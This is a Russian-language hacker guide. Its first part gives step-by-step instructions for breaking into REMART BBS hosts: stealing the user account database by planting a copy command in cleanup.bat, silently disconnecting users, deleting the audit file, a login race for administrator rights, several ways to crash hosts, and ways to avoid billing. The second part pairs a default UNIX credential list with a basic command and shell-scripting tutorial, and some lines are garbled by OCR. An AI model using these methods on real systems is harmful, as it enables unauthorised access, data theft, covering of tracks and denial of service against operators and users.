Предположим, вы уже в Ремарте, и у вас есть надлежащий приоритет для создания раздела. Как это проверить? Войдите в библиотеку и проверьте список доступных команд, введя "?;" если в конце списка будет команда ml, вас можно поздравить.
Далее действия следующие:
1. Создайте раздел, указывающий на корень диска с: и с именем, к примеру, С:
ml /d с с:\
Параметр /d указывает на то, что должен создаваться dos-раздел.
Перейдите в раздел с командой с: и получите:
С \>
Затем командами cd и dir тщательно исследуйте подопытный раздел на предмет наличия там программных файлов Ремарта (они обычно размещаются в каталоге \remart или \remart.40, но могут быть и варианты)
Если РЕМАРТ не удалось найти в данном разделе, грохните его (раздел) командой
rl с
создайте новый раздел, указывающий на корень d:, и проделайте вышеописанную операцию с ним. Так продолжайте до умопомрачения, или пока вас не выгонит админ.
Дальше диска i: продолжать бессмысленно, поскольку РЕМАРТ в начальной своей конфигурации позволяет даунлоадать файлы только с дисков с, d. e, f, g, h, 1, но можно и попробовать...
2. Если вы нашли каталог Ремарта, полюбуйтесь на файл usracc.dat в подкаталoгe dat. He пытайтесь даунлоадать его немедленно или смотреть по type - в лучшем случае система выдаст что-то вроде "Файл занят другим пользователем", а в худшем - зависнет, и все ваши безобразия будут видны как на ладони.
3. Даунлоадните из главной директории Ремарта файл remart.bat и тщательно изучите его. Обратите внимание на ту часть, которая содержит информацию о "ночной перегенерации". Желательно скинуть и те файлы, которые пакетник грузит.
Просмотрите его на предмет команд типа pause и других - необходимо, чтобы Ремарт нормально перезагрузился, иначе, встретив команду типа pause, он будет ждать напряга клавиши на главной консоли, а Вы останетесь ни с чем.
Обычно remart.bat в процессе ночной чистки вызывает cleanup.bat, в котором содержатся команды вызова внешних модулей. В инсталляционном виде remart.bat вызывает чистку и перезапускается. Вот cleanup.bat нам-то и нужен!
Не пытайтесь исправлять remart.bat - dos в таком случае выдает ругательство batch file missing, и главная консоль зависает.
4. Просмотрите cleanup.bat командой:
type cleanup.bat
и запомните его содержимое. Теперь сделайте:
del cleanup.bat
если у вас на это есть соответствующие права - и заново его наберите:
type cleanup.bat
Наберите строки, которые ранее там были; в конец (или начало) этого файла вставьте строку вида:
сору С:\PFMART.40\DAT\USRACC.DAT С:\
Вместо remart.40 вставьте имя соответствующей директории, подправьте имена дисков, чтобы можно было найти файл, и чтобы его копию можно было впоследствии слить.
5. Теперь самое время перезапустить РЕМАРТ. Узнайте, кто работает в системе, и, если это левые юзера, ненавязчиво отключите их. Лучше всего это сделать командой hangup, поскольку если юзер видит у себя "ноу карриер", он списывает это на недостатки нашей с вами связи, а если РЕМАРТ ему выдаст что-то типа "Сейчас будет вежливый останов системы", он может призадуматься.
После того, как в системе не останется юзеров (делать это надо быстро), запустите перегенерацию командой cleanup из функций администратора и закончите свой сеанс.
6. РЕМАРТ выйдет, пакетник remart.bat запустит соответствующие проги, cleanup.bat (если Вы ничего не перепутали) и запустит опять Ремарт.
Ну а вы в то время должны терпеливо звонить и ждать. Желательно войти в систему первым (на всякий случай).
7. Теперь очень просто. Оттуда, куда вы указали копирование usracc.dat, даунлоадните его, удалите командой del (не со своего винта!..) и бегите опять в каталог Ремарта. Там восстановите cleanup.bat.
8. Напоследок грохните созданный вами раздел командой:
rl имя_раздела
9. Можно грохнуть и аудит-файл...
Получение полномочий администратора.
Чтобы получить права администратора, имеется очень старый и древний способ.
Договариваетесь со своим другом о том, что в одну и ту же секунду (!) вместе лезете на один и тот же хост. И оба вводите admin/admin, одному из вас система скажет, что пароль не верный, другой зайдет в систему под admin'oM. Главное все это делать одновременно.
Как повесить хост РЕМАРТА.
Повесить хост можно одним из следующих способов:
Способ 1.
Зайдите на какой-нибудь хост. На вопрос системы: "Display ANSI Graphics ([Y]/N)? >", введите "@". На некоторых хостах сразу же вешается. На некоторых появляется две строки:
Login:
Password:
Теперь резко начинайте вводить всякую лабуду, не забывая жать Enter. Через некоторое время (10-20 сек.) хост повиснет.
Надо заметить, что на многих хостах этот метод не проходит, ввиду самодеятельности админа. То есть, обычно для устранения этой "дыры", символ "@" заменяют каким-нибудь другим. Так же нужно помнить, что хост будет висеть не долго (5-6 мин.).
Способ 2.
Зайдите на какой-нибудь хост. Залогиньтесь под любым существующим логином. Введите "/е" (Редактор команд), и начинайте вводить лабуду, в данном способе Enter жать не надо! Вскоре после заполнения строки, курсор сам перейдет на следующую, повторите это три раза (заполните три строки). После заполнения третьей строки хост повиснет. Для использования этого приема нужна тренировка, так что не огорчайтесь, если сначала у вас не будет ничего получаться. Самый лучший вариант, это поставить у себя Ремарт и потренироваться.
Способ 3.
Зайдите на какой-нибудь хост. Залогиньтесь под логином, имеющем доступ к меню регистрации. Зайдите в меню регистрации и введите левую команду (например, dir). Ремарт виснет.
Способ 4.
Зайдите на какой-нибудь хост. Залогиньтесь под любым существующим логином. Позовите какого-нибудь абонента на чат: "/с <имя абонента>" и быстро "бегите" - "GO EMAIL". Если на вас попадут в момент перехода, то хост повиснет.
Способ очень "дубовый", поэтому требует тренировки скриптом.
Способ 5.
Зайдите на какой-нибудь хост. Залогиньтесь под любым существующим логином. Зайдите в меню функций администратора системы (если оно, конечно, доступно), и введите команду "SYSINFO". Данный способ страбатывает редко, но бывает, как правило если РЕМАРТ не грузится из голого ДОС, а поверх чего-нибудь типа менеджера памяти, или любого более-менее глючного резидента.
Способ 6.
Для осуществления этой подвиски нужно два человека, предположим это demo1 и demo2.
demo1:
/р demo2
demo2:
go lib
demo1:
go lib
Система виснет.
Еще несколько "хитростей" в РЕМАРТЕ:
1. Как не тратить деньги.
Если у вас есть логин, и вы не хотите тратить с его счета деньги, сделайте следующее: перезаходите командой
/off r
до тех пор, пока вам не вылезет надпись:
Вы работаете по спецтарифу
Неизвестно, как на других хостах, но на 6100255 работает.
2. Как выкинуть всех из чата.
Когда в чате полно народа, не отпуская, долбите Enter или какой-нибудь макрос, весь народ (включая и вас, тут важен расчет и качество связи) вылетит с хоста.
3. Как в демо-режиме пользоваться в чате командами "/р", "/u" и т.д.
Чтобы реализовать вышеуказанную "фичу", нужно зайти в чат не через меню, а командой "go chattop", потом позвать кого-нибудь на чат ("С") и сразу же ввести "/u 1".
4. Неограниченное время в демо-режиме.
Если вы нажимаете "/u" и видите, что время вашей работы подходит к концу, быстро введите "/u 1", пересидите критический момент, и у вас в запасе еще столько же времени. Также говорят, что можно сидеть больше отведенного времени, если вы ввели "/с", а потом "F+++" - народ говорит, что это работает.
Недокументированные команды РЕМАРТА.
Найдены недокументированные команды РЕМАРТА:
1. В меню PROTECT (аналогично вызову модуля почтового администратора) - если у станицы почтового администратора приоритет выше, чем ваш, то эта информация бесполезна - так как РЕМАРТ все равно не пустит вас туда.
2. То ли разработчики РЕМАРТа забыли, то ли специально оставили недокументированную команду SQRT (подозрение на извращенное и сокращенное "Security"), работает она только в библиотеке, уже когда вы зашли в раздел и набирается через Alt+251 ("v") не иначе. Команда доступна даже Demo - но что она делает, остается пока загадкой. По команде "? v" РЕМАРТ выдает что: "Команда SQRT зарезервирована" (Вся проблема в том, что сложно найти дебагер, который бы дебажил Eclipse protection mode - это защищенный режим 80286 процессора). Разработчики РЕМАРТА отлаживают и дебажат его совсем по другому - в файле remstart.com видно, что они запускают файл <>REMARTL.EXE, который естественно не входит в стандартную поставку РЕМАРТА.

ОС программиста. 

UNIX был изобретен AT&T где-то в 60-ых как "операционная система программиста". Во времена, когда изобрели UNIX, эта цель не была, вероятно, достигнута, зато теперь, похоже, UNIX стала ОС программиста. Как уже говорилось, это многозадачная и многопользовательская ОС. К тому же она написана на языке С, во всяком случае, немалая ее часть, что делает её портативной операционной системой.
UNIX не соответствует никаким компьютерам, поскольку был адаптирован ко многим, и существует много вариантов UNIX (то есть, UNIX измененный продавцом, или нечто подобное). Некоторые AT&T компьютеры работают под UNIX, а некоторые под MS DOS (AT&T 6300). Рабочие станции Sun работают под SunOS, это тоже вариант UNIX, а некоторые VAX компьютеры управляются Ultra, это VAX - версия UNIX. Но независимо от того, как называется операционная система (BSD, UNIX, SunOS, Ultrix, Xenix, и т.д.), они все имеют много общего вроде команд, которые используются операционной системой. Некоторые варианты могут иметь особенности, которых нет в других, но они в основном схожи в том, что имеют много одинаковых команд и файлов данных.
Когда вам кто-то станет доказывать, что UNIX используется в определенных типах компьютеров, то это, возможно, и так, но помните, что некоторые компьютеры имеют более одной операционной системы. Например, вам могут сказать, что UNIX соответствует компьютерам VAX так же, как MS DOS соответствует IBM-клонам. Это неверно, и здесь упоминается об этом только потому, что видели много сообщений с подобными сравнениями, которые смущают пользователей, когда они видят VAX, работающий под VMS.

Идентификация. 

С этого момента все варианты UNIX будут обозначаться просто как UNIX, так что когда будет говориться что-то о UNIX, то, как правило, будут подразумеваться все варианты (то есть, варианты Unix System V: BSD, SunOS, Ultrix, Xenix, и т.д.). если только явно не будет указан конкретный.
Сначала, когда вы вызываете UNIX, или соединяетесь с машиной, где он работает, вы обычно видите такую подсказку:
Login:
Порядок. Это означает, что это вероятно Unix, хотя имеются BBS, способные имитировать login-процедуру OS (операционной системы), и заставлять некоторых верить в то, что это и есть Unix. Некоторые Unix'ы представляются или выдают перед Login: сообщение вроде такого:
Welcome to SHUnix. Please login.
(Добро пожаловать в SHUNIX. Пожалуйста, зарегистрируйтесь)
Login:
Или что-то в этом роде. Unix'ы свободного доступа (например, в BBS свободного доступа) сообщат вам, как надо регистрироваться, если вы - новый пользователь. Поскольку эта глава не о Unix'ax свободного доступа, то о них будет рассказано позже, например об адресе UUCP/USENET/BITNET для почты.
Итак. Вы добрались до регистрации (login)! Теперь вам надо ввести действующий аккаунт (account). Он обычно состоит из 8 или меньше символов. После ввода account вы скорее всего увидите приглашение ввести пароль. Приглашения могут иметь различный вид, поскольку исходные коды для программы регистрации обычно поставляются вместе с UNIX, или доступны бесплатно. Так вот, можно посоветовать такой простейший способ регистрации: получите account или попробуйте ввести значения по умолчанию. Эти значения поставляются вместе с операционной системой в стандартной форме. Вот список некоторых значений по умолчанию:
ACCOUNT ПАРОЛЬ
root root - (редко открыт для хакеров)
sys sys / system / bin
bin sys / bin
mountfsys mountfsys
adm adm
uucp uucp
nuucp anon
anon anon
user user
games games
install install
reboot *ni. ie?a
demo demo
umountfsys umountfsys
sync sync
admin admin
guest guest
daemon daemon
Аккаунты root, mountfsys, umountfsys, install и иногда, sync - это аккаунты корневого уровня. Это означает, что они работают на уровне системного администратора или глобально. Остальные логины есть всего лишь логины "пользовательского уровня", и это означает, что им подвластны лишь файлы/процессы, принадлежащие этому конкретному пользователю. Логин REBOOT относится к так называемым командным логинам, он не пропускает вас в ОС, а просто-напросто выполняет связанную с ним программу. Как правило, он делает именно то, что обозначает - перезагружает систему. Возможно, он не стандартен во всех Unix, но его можно увидеть в Unix UNISYS, a также в системах HP/UX (Hewlett Packard Unixes). 
Командные логины.
Существуют "командные логины", которые, подобно логину перезагрузки (reboot), исполняют команду и отключают вас от системы, не позволяя пользоваться интерпретатором команд. Наличием таких логинов знамениты компьютеры BSD и MIT (Массачусетского технологического института). Вот список некоторых:
· rwho - показать, кто в онлайне;
· finger - то же;
· who - то же.
Они весьма полезны, поскольку выдают список аккаунтов подключенных пользователей, и тем самым показывают реально существующие аккаунты.
Ошибки
Когда вы введете ошибочный аккаунт/пароль, или и то, и другое, система выдаст сообщение об ошибке. Обычно это сообщение "login incorrect".
Когда компьютер выдает такое сообщение, это означает, что вы ошиблись, и ввели или неверный аккаунт, или верный аккаунт, но неверный пароль, По очевидным причинам система не станет вам подсказывать, какую именно ошибку вы допустили. Кроме того, когда вы регистрируетесь с ошибкой, обновляется файл журнала регистрации, и об этом узнает сисадмин.
Другое сообщение об ошибке - это "Cannot change to home directory" или "Cannot Change Directory". Это означает отсутствие "home directory", то есть "корневого" раздела аккаунта, то есть раздела, из которого вы начинаете работу. Большинство систем отключит вас после такого прокола, но некоторые сообщат, что поместят в корневой раздел ['/'].
Другое сообщение об ошибке "No Shell". Оно означает, что для этого конкретного аккаунта не определена оболочка. И опять же большинство систем вас отключат, но некоторые сообщат, что станут использовать обычную (стандартную) оболочку, выдав "Using the bourne shell" или "Using sh".

Аккаунты. 

В Unix можно выделить два уровня безопасности: абсолютная власть и обычный пользователь. Абсолютной властью обладают пользователи корневого уровня. Unix ассоциирует числа с именами аккаунтов. Каждый аккаунт имеет номер. Этот номер есть UID (идентификатор пользователя) аккаунта. У корневого пользователя UID = 0. Unix обрабатывает не имена аккаунтов (логинов), а связанные с ним числа. Например, если ваш UID = 50 и еще чей-то UID тоже 50, то вы оба имеете абсолютную власть друг над другом, но только вы и никто иной.


Оболочки. 

Оболочка - это исполняемая программа, которая загружается и начинает работать в фоновом режиме, когда пользователь входит в систему. Такой "оболочкой" может быть любая исполняемая программа, указанная в пользовательском файле "passwd". Каждый логин может иметь свою уникальную оболочку. Оболочка, с которой мы обычно будем работать - это интерпретатор команд (командный процессор). Интерпретатор команд - это нечто, похожее на COMMAND.COM в MS DOS, который обрабатывает команды и пересылает их в ядро (операционную систему). Как уже было сказано, оболочкой может быть любая программа, но вам нужен именно интерпретатор команд. Вот перечень обычных оболочек, которые вы обнаружите:
· sh - это "родная" оболочка, базовый "COMMAND.COM" Unix. Он имеет "скриптовый" язык, как и большинство командных процессоров систем Unix.
· csh - это оболочка "C", позволяющая вводить C-подобные команды.
· ksh - это оболочка korn. Просто еще один интерпретатор команд.
· tcsh - это оболочка, используемая в MIT. Позволяет редактировать команды.
· vsh -визуальная оболочка, работающая через меню.
· rsh - restricted (ограниченная) или remote (удаленная) оболочка.
Есть и множество других оболочек, включая "самодельные", то есть программы, написанные владельцем Unix, или под конкретную версию Unix, и все они нестандартные. Запомните, оболочка есть всего лишь программа, которой вам придется пользоваться, и когда она кончает работу, вас отключают от системы. Хороший пример самодельной оболочки можно найти нa Eskimo North, это Unix свободного доступа. Оболочка называется "Esh", и это нечто вроде "одноклавишной BBS", но это, тем не менее, все равно оболочка.
Некоторые компании используют в качестве пользовательских оболочек текстовые редакторы, базы данных и прочий софт - чтобы предотвратить ошибки неопытных пользователей и облегчить им жизнь. Кроме того, в качестве оболочки может использоваться BBS.
Когда вы работаете в интерпретаторе команд, подсказка обычно выглядит так:
$
Когда вы корневой пользователь, подсказка обычно выглядит так:
#
Можно задать значение переменной PS1 для хранения подсказки. Например, если PS1 задана как "НI:", то и ваша подсказка будет выглядеть так же:
HI:

Спецсимволы. 

Control-D
Конец файла. Когда вы работаете с почтой или текстовым редактором, это означает конец сообщения или текстового файла. Если вы нажмете control-d находясь в оболочке, то выйдете из системы.
Control-J
В некоторых системах срабатывает как клавиша "ввод".
@
Иногда означает "отмена".
?
Это wildcard (маска). Может обозначать букву. Если вы укажете в командной строке, например, "b?b", то Unix станет искать bob, bib, bub, и все остальные буквы/цифры в интервале a-z, 0-9.
*
Может означать любое число символов. Если вы укажете "hi*", то это означает hit, Turn, hiiii, hiya, и что угодно, начинающееся с hi. "Н*1" может значить hill, hull, hi, и что угодно, начинающееся с h и кончающееся 1.
[ ]
Указывает диапазон. Если ввести b[o,u,i]b, то это означает: bib, bub, bob. А если ввести b[a-d] , то это значит: bab, bbb, bcb, bdb.
[], ?, и * обычно используются при копировании и удалении файлов или выводе списков файлов в разделах.
В Unix учитывается регистр. Это означает, что "Hill" и "hill" - вовсе не одно и то же. Это позволяет хранить много файлов, поскольку "Hill", "hill", "hill", "hiLl" и так далее могут быть разными файлами. Поэтому, пользуясь [], вы должны указывать заглавные буквы, если имена нужных вам фалов их содержат. Однако почти все пишется прописными буквами.

Команды. 

Теперь перечислим некоторые полезные команды Unix. 
ls
Просмотр раздела. Без аргументов эта команда просто выводит имена файлов в одну или несколько колонок, в зависимости от того, к какой именно версии программы ls вы имеете доступ. Пример:
$ ls
hithere
runme
note. text
src
$
Через ключ -l выводится расширенная информация о файлах:
$ ls -1
rwx--x--x sirhack sirh 10990 runme
и так далее...
Пояснения:
rwx--x--x - это файловый доступ.
sirhack sirh - это владелец файла и группа, в которой файл находится, sirhack = владелец,
sirh - пользовательская группа, в которой файл находится.
10990 - размер файла в байтах
runme - имя файла
cat
Выводит файл на экран. Следует применять к текстовым файлам. Применительно к бинарным файлам используется только чтобы издеваться над пользователями. Пример:
$ cat note.txt
Это образец текстового файла!
$
cd
Сменить раздел (директорию). Записывается примерно так: cd /dir/dirl/dir2/dirn.dirl/... это имена разделов. Допустим, мы хотим перейти в корневой раздел:
$ cd /
* порядок я уже там*
$ ls
bin
sys
etc
temp
work
usr
кстати, все что выше - это разделы
$ cd /usr
$ ls
sirhack
datawiz
prophet
src
violence
par
phiber
scythian
$ cd /usr/sirhack 
$ ls
hithere
runme
note. text
src
$
Так вот, полное имя раздела вводить не надо. Если вы находитесь в разделе, и хотите попасть в (под)раздел, который находится здесь же (например, "src"), то можете ввести "cd src" [без "/"]. Вместо ввода "cd /usr/sirhack/src" из sirhack dir вы можете ввести "cd src".
ср
Копирует файл.
Синтаксис: ср из_файла в_файл
$ ср runme runme2
$ ls
hithere
runme
note. text
src
runme?
Чтобы скопировать в другой раздел, можно указать полный путь.
$ ср runme /usr/datwiz/runme
mv
Переименование файла.
Синтаксис: mv старое_имя новое_имя
$ mv runme2 runit
$ ls
hithere
runme
note.text
src
runit
Можно переименовывать файлы в других разделах:
$ mv runit /usr/datwiz/run
$ ls
hithere
runme
note. text
src
$ Is /usr/datwiz
runme
run
pwd
Переход в текущий раздел
$ pwd
/usr/sirhack
$ cd src
$ pwd
/usr/sirhack/src
$ cd
$ pwd
/usr/sirhack (".." означает "использовать имя раздела на один уровень выше")
$ cd ../datwiz (обозначает cd /usr/datwiz)
$ pwd
/usr/datwiz
$ cd $home (перейти в раздел home)
$ pwd
/usr/sirhack
rm
Удалить файл.
Синтаксис; rm имя_файла или rm -г имя_раздела
$ rm note.text
$ ls
hithere
runme
src
$
write
Поболтать с другим пользователем. То есть, "написать" другому пользователю.
Синтаксис: write имя_пользователя
$ write scythian
scythian has been notified (scythian был уведомлен)
Привет Scy!Как дела??
Message from scythian on ttyOQ.1 at 17 32
Привет!
я: Как жизнь?
scy: Да вроде нормально
я: Мне пора дописывать этот текст.
scy: ok
я: control-D [для выхода из программы]
$
who [w, who, whodo]
Выводит список тех, кто в онлайне:
$ who
login term logontime
scythian + tty00l 17 20
phiber0 + tty002 15 50
sirhack + tty003 17 21
datawiz - tty004 11 20
glitch - tty666 66 60
$
Команда who может выдавать разную информацию. "+" означает, что вы можете write на этот терминал, а "-" - что не можете.
man
Показывает подсказку о команде.
Синтаксис: man имя_команды. Это программа помощи. Если хотите узнать, как пользоваться who, то введите:
$ man who
WHO(1) xxx:::.
и получите подсказку.
stty
Задает характеристики терминала. Вам придется ввести "man stty", поскольку каждый stty, похоже, отличен от другого. Пример:
$ stty -parenb
чтобы установить параметры данных N,8,1. Многие Unix по умолчанию работают при е,7,1.
sz, rz
Послать/получить через zmodem.
rx, sx
Послать/получить через xmodem.
rb, sb
Послать/получить через batch (пакетный) ymodem.
Эти 6 программ могут в Unix быть, а могут и не быть.
umodem
Послать/получить через send/recieve via umodem.
$ sz filename
ready to send... (готов послать:)
$ rz filename
please send your file... (пожалуйста, пошлите ваш файл...)
...etc.. (и т.д.)
ed
Текстовый редактор. Синтаксис: ed имя_файла.
Для создания нового файла просто введите ed имя_файла
$ ed newtext
0
* а
Это строка 1
Это строка 2
[control-z]
* 1 [чтобы увидеть строку 1]
Это строка 1
* а [продолжаем добавлять]
Это строка 3
[control-z]
*0а [добавить после строки 0]
Это ПЕРВАЯ строка
[control-z]
1,41
Это ПЕРВАЯ строка
Это строка 1
Это строка 2
Это строка 3
* w
71
* q
$
В данном примере использовались:
71 - число записанных байтов.
а - добавить
1 - просмотр
# - напечатать номер строки
w - записать
1 fname - загрузить файл fname
s fname - сохранить с именем fname
w - записать в текущий файл
q - выход
mesg
Включает/выключает разрешение "писать" (write) на ваш терминал (разрешает чат).
Формат: "mesg у" (да) или "mesg n" (нет).
сс
Компилятор Си.
chmod
Смена "режима" файла. Другими словами, смена доступа.
Синтаксис: chmod mode filename (chmod режим имя_файла)
$ chmod a+r newtext
Теперь все могу читать newtext:
а - all (все)
r - read (читать).
chown
Сменить владельца файла. Синтаксис: chown владелец filename
$ chown scythian newtext
$
chgrp
Сменить группу файла.
Синтаксис: chgrp group file
$ chgrp root runme
$
finger
Вывести основную информацию об аккаунте
Формат: finger имя_пользователя
grep
Искать в файле цепочку символов. 
Синтаксис: grep цепочка file
$ grер 1 newtext
Это строка 1
$ grер ПЕРВАЯ newtext
Это ПЕРВАЯ строка
$ grер "ПЕРВАЯ line 1" newtext
$
mail
Очень полезная утилита. Вы уже наверняка догадались по имени, для чего она. Их существует несколько, например, ELM, MUSH and MSH, но базовая почтовая программа называется mail. Как ей пользоваться.
mail user name @address
или
mail username
или
mail
или
mail addrl!addr2!addr3!user
"mail username@address" - такая запись используется для посылки почты кому-то в другой системе. Обычно это другой UNIX, но некоторые DOS и VAX машины могут принимать Unix Mail. Когда вы используете "mail user@address", то ваша система должна иметь "умный мейлер" и то, что мы называем "планами системы". "Умный мейлер" распознает "адресную" часть команды и обычно расширяет ее до полного пути. Это может выглядеть так:
mail phiber@optik
а в компьютере выглядеть так:
mail sys1!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber
Но если умного мейлера нет, то вы должны знать полный путь к тому, кому вы хотите послать почту. Например, я хочу послать сообщение к phiber. И если умного мейлера нет, то я должен писать так:
$ mail sys1!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber
Привет Как дела? Пока:
(control-D)
$
Когда он это сообщение получит, в нем будет несколько строк информации, это нечто вроде почтовых штемпелей всех систем, через которые мое сообщение прошло, а строка "от кого" будет выглядеть так:
From optik!sirhacksys!att.com!scl!sbell!pacbell!unisys!sys!sirhack <Sir Hack>
Для посылки локального сообщения достаточно набрать "mail username", где username - логин получателя. Затем наберите сообщение и завершите его control-D.
Для чтения поступившей вам почты просто введите mail. To есть:
$ mail
От scythian..........
Кому sirhack.........
Тема:Well....
Вот и все:
?
Каждая версия программы mail оформляет свои заголовки.
Знак вопроса - это подсказка. После него можно ввести:
d - удалить
f username - переслать копию к username
w fname - записать сообщение в файл с именем fname
s fname - сохранить сообщение с заголовком в файл с именем fname
q - выйти/обновить mail
х - выйти, но ничего не менять
m username - написать сообщение к username
r - ответить отправителю
[enter] - прочесть следующее сообщение
+ - перейти на одно сообщение дальше
- - вернуться на одно сообщение назад"
h - распечатать заголовки сообщений из почтового ящика.
Есть и другие команды. Чтобы увидеть их перечень, обычно вводят ?.
Если вы посылаете почту кому-то не из своей системы, то ответа придется ждать дольше, потому что тут все будет как с обычным письмом - его должен забрать "почтальон". Для передачи почты система может вызвать и использовать UUCP. Обычно UUCP аккаунты никому не нужны - если только у вас не используется UUCP, способный перехватывать почту.
ps
Процесс. Эта команда позволяет увидеть, что именно вы делаете в оперативной памяти. При каждом запуске программы ей для учетных целей назначается Идентификатор Процесса (PID), и поэтому ее можно отследить в памяти, а также закрыть - вами или корневым пользователем. Обычно команда ps в перечне процессов первой указывает имя запущенной вами оболочки. Допустим, я вошел под логином sirhack, используя оболочку "csh", и у меня работает "watch scythian". Программа watch перейдет в фоновый режим, то есть я смогу делать что-то другое, пока она работает:
$ ps
PID TTY NAME
122 001 ksh
123 001 watch
$
Это сокращенный листинг PS, выводящийся по умолчанию. В колонке TTY перечислены "tty" (устройства ввода/вывода) через которые был запущен process. Это действительно полезно знать только в том случае, если вы используете слои, или более одного пользователя вошли в систему с тем же аккаунтом. Команда ps -f выдаст полный листинг процессов, поэтому вместо краткого "watch" вы скорее всего увидите "watch scythian".
kill
Прервать процесс. Очевидно, что команда используется для прекращения работы программы в памяти. Вы можете прервать только те процессы, которыми владеете (те, которые вы запустили), если только вы не корневой пользователь или если ваш EUID такой же, как и у процесса, который вы хотите прервать. Если вы прервете процесс оболочки, то вылетите из системы. По тому же принципу, если вы вырубите процесс чьей-то оболочки, то этот кто-то тоже вылетит. Поэтому, если я введу "kill 122", то система меня выплюнет. Однако kill лишь посылает UNIX сигнал с указанием "прервать процесс". И если вы примените синтаксис "kill pid", то UNIX вырубит процесс тогда, когда ему захочется, а такое может не случиться никогда. Значит, вы можете сами определять срочность! Попробуйте "kill -num pid" (num - число).
Kill -9 pid - это безусловное и почти мгновенное прерывание.
$ kill 122
$ kill 123
$ ps
PID TTY NAME
122 001 ksh
123 001 watch
$ kill -9 123
[123]: killed
$ kill -9 122
garbage
NO CARRIER
Вы также можете ввести "kill -1 0", чтобы прервать свою оболочку и выйти из системы. Это полезно в скриптах.

Программирование оболочки. 

Программирование оболочки есть по сути создание "скриптового" файла для стандартной оболочки, то есть sh, ksh, csh или их разновидностей. Это нечто вроде .bat файла MS-DOS, но более сложного и более гибкого. Он может оказаться полезным в одном аспекте хакерства.
Сперва займемся переменными. Переменным можно присвоить значения - как символьные, там и числовые. Выражение
number = 1
присваивает переменной "number" значение 1.
string = Hi There
или
string = "Hi There"
Оба выражения присваивают переменной string значение "Hi there".
Однако использование переменной - это совсем другое дело. Если вы хотите использовать переменную, перед ней должен стоять знак доллара ($). Такие переменные могут быть использованы в программах в качестве аргументов. Когда было написано, что скрипты подобны bat-файлам, то имелось в виду именно это. В файл скрипта можно ввести имя любой программы, и она будет исполнена. Вот простой скрипт:
counter=1
arg1="-uf"
arg2="scythian"
ps $arg1 $arg2
echo Scounter
Этот скрипт выполняет трансляцию в "ps -uf scythian", а после завершения работы печатает "1". Echo выводит на экран как текстовые, так и цифровые константы.
Другие команды и примеры:
read
Считывает что-либо в переменную.
Формат: read переменная. Здесь знак доллара не нужен! Если я хочу узнать чье-то имя, то могу написать:
echo "Как ваше имя?"
read hisname
echo Hello $hisname
Как ваше имя?
Sir Hackalot
Привет Sir Hackalot
read может считывать и числовые значения.
trap
Отслеживает применение кем-то команды прерывания (Ctrl-c).
Формат: trap "command; command; command; и т.д."
Пример:
trap "echo 'Фигушки!! Ты так легко от меня не избавишься!; echo 'Придется тебе это прочитать!' "
И теперь, если я нажму control-c во время работы скрипта, то увижу на экране вот что:
Фигушки!! Ты так легко от меня не избавишься! Придется тебе это прочитать!
exit
Формат: exit [число]. Обеспечивает выход из оболочки, возвращая код, равный "числу".
CASE
Выполнение case подобно выбору из меню. Формат команды или структуры таков:
case переменная in
1) command; 
command;;
2) command;
command;
command;;
*) command;;
esac
Каждая часть может иметь любое количество команд. Однако после последней команды должны стоять ";;". Возьмем такое меню:
echo "Выберите:"
echo "(D)irectory (L)ogoff (S)hell"
read choice
case $choice in
D) echo "Создаю раздел...";
ls -al ;;
L) echo Пока;
kill -1 0;;
S) exit;;
*) Echo "Ошибка! Это не команда ";;
esac
esac обозначает конец функции case. Он должен стоять после последней команды.


Циклы. 

Итак, циклы. Их два: for и repeat.
Цикл repeat выглядит так: repeat нечто нечто! нечто2
Эта функция выполняет повторение секции вашего скрипта для каждого "нечто". Если написать:
repeat scythian sirhack prophet
то на экране увидите scythian, затем sirhack, затем prophet.
Цикл for определяется как:
for для переменной в чем-то
do
:
:
done (сделано)
пример:
for counter in 1 2 3
do 
echo $counter
done
Будут выведены значения 1, затем 2, затем 3.


Test. 

Формат: Test переменная опция переменная
Опции таковы:
· -eq= (равно)
· -nе <> (не равно)
· -gt > (больше)
· -lt < (меньше)
· -ge >= (больше или равно)
· -lе <= (меньше или равно)
Для строк это:
· = если равно
· != если не равно
Если выражение верно, то функция возвращает ноль. Смотрите:
test 3 -eq 3
это означает проверку на верность выражения 3 = 3, и будет выведен ноль.

наверх 
Expr. 

Применяется для числовых функций. Как правило, вы не можете просто напечатать:
echo 4+5
и получить ответ. Вы должны написать:
ехрг переменная [или число] оператор переменная2 [или число]
Операторы таковы:
· + сложение
· - вычитание
· * умножение
· / деление
· ^ степень (в некоторых системах)
Пример:
ехрr 4 + 5
var = ехрг 4+5
var получит значение 9.
В некоторых системах ехрr иногда распечатывает формулу. Хочу пояснить, что 22+12 вовсе не то же самое, что 22 + 12. Если вы введете:
ехрг 22+12 то увидите
22+12
А если введете:
ехрг 22+12
то увидите:
34


Переменные. 

Это переменные, используемые оболочкой, и они обычно задаются в системном файле .profile.
НОМЕ
Расположение вашего home (домашнего) раздела.
PS1
Определяет, как выглядит подсказка в командной строке. Обычно как $. В BSD это обычно &.
PATH
Путь поиска программ. Когда вы вводите имя программы для ее запуска, она; находится не в оперативной памяти, а на диске, и должна быть сперва оттуда загружена. В отличие от MS-DOS большинство команд не находится в памяти. Если программа указана в пути поиска, она может быть запущена на исполнение независимо оттого, в каком разделе вы находитесь, а если не указана, то вы должны запускать ее из раздела, где находится сама программа. Путь - это по сути перечень разделов, в котором имена разделов отделяются двоеточиями. Вот типичный путь поиска:
:/bin/etc:/usr/lbin: $НОМЕ:
Когда вы попытаетесь запустить программу на выполнение, Unix станет ее искать в /bin, /etc, /usr, /lbin и вашем домашнем разделе, и, если не найдет, выдаст сообщение об ошибке. Поиск по разделам производится в том порядке, в каком они перечислены. Поэтому если у вас в домашнем разделе есть программа с именем "sh", и вы введете "sh", то даже если вы сделаете это из домашнего раздела, Unix запустит на исполнение программу из раздела /bin. Поэтому пути следует задавать с умом. Unix свободного доступа делают это за вас, но в системе, где вы работаете, пути могут быть и не указаны.
TERM
Тип вашего терминала. Unix имеет библиотеку функций с именем "CURSES", которая способна добиться максимума от терминала любого типа - при условии, что обнаружит соответствующие esc-коды. Если вы работаете с экранно-ориентированными программами, то должны установить какие-то параметры дисплея. Типы дисплеев и их esc-коды находятся в файле TERMCAP. Но не забивайте себе голову, просто установите свой дисплей на ansi или vt100, CURSES даст вам знать, если не сможет манипулировать эмуляцией вашего терминала.


Компилятор С. 

